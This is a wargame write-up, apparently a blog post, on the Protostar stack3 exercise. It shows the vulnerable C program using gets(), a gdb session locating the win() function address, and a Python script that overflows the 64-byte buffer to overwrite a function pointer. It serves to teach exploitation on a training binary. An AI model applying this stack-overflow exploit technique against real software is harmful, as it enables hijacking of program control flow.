Introduction
This exercise involves finding the starting address of the function and overwriting the function pointer on the stack with that address.
source code
1 #include <stdlib.h> 2 #include <unistd.h> 3 #include <stdio.h> 4 #include <string.h> 5 6 void win() 7 { 8 printf("code flow successfully changed\n"); 9 } 10 11 int main(int argc, char **argv) 12 { 13 volatile int (*fp)(); 14 char buffer[64]; 15 16 fp = 0; 17 18 gets(buffer); 19 20 if(fp) { 21 printf("calling function pointer, jumping to 0x%08x\n", fp); 22 fp(); 23 } 24 }
analyze
In addition to the main function this time, there is a win function in the code, but there is no statement calling the win function in the main function, and the original modified variable becomes a function pointer fp. Note that although the types are different, these two The size of each variable is the same, and the distribution in the stack should be the same as before. By assigning a value to the buffer variable by the gets function, the value of the fp pointer can be overwritten to point to the win function, so that the win function is executed in the next if statement.
The key to the problem is how to obtain the start address of the win function.
Debugger
First, see if the stack distribution is the same as the previous exercise, where our user input is "abcd"
1 (gdb) b 20 2 Breakpoint 1 at 0x8048455: file stack3/stack3.c, line 20. 3 (gdb) r 4 Starting program: /opt/protostar/bin/stack3 5 abcd 6 7 Breakpoint 1, main (argc=1, argv=0xbffffd64) at stack3/stack3.c:20 8 20 stack3/stack3.c: No such file or directory. 9 in stack3/stack3.c 10 (gdb) print $esp 11 $1 = (void *) 0xbffffc50 12 (gdb) print $ebp 13 $2 = (void *) 0xbffffcb8 14 (gdb) x/26xw $esp 15 0xbffffc50: 0xbffffc6c 0x00000001 0xb7fff8f8 0xb7f0186e 16 0xbffffc60: 0xb7fd7ff4 0xb7ec6165 0xbffffc78 0x64636261 17 0xbffffc70: 0xb7fd7f00 0x0804967c 0xbffffc88 0x0804830c 18 0xbffffc80: 0xb7ff1040 0x0804967c 0xbffffcb8 0x080484a9 19 0xbffffc90: 0xb7fd8304 0xb7fd7ff4 0x08048490 0xbffffcb8 20 0xbffffca0: 0xb7ec6365 0xb7ff1040 0x0804849b 0x00000000 21 0xbffffcb0: 0x08048490 0x00000000
Let's take a look at the start address of the win function:
(gdb) info address win Symbol "win" is a function at address 0x8048424.
Now that we have the starting address of the win function, the next method is the same as the previous exercise.
Written by EXPLOIT
Because it needs to handle user input in the program, the subprocess module is used, similar to stack0, the payload ends with 0x24840408, the principle has been said in stack2.
exploit code:
1 import subprocess 2 proc = subprocess.Popen("/opt/protostar/bin/stack3", stdin=subprocess.PIPE) 3 payload = "6161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616124840408" 4 proc.communicate(payload.decode("hex"))
Result output:
$ python exploit3.py calling function pointer, jumping to 0x08048424 code flow successfully changed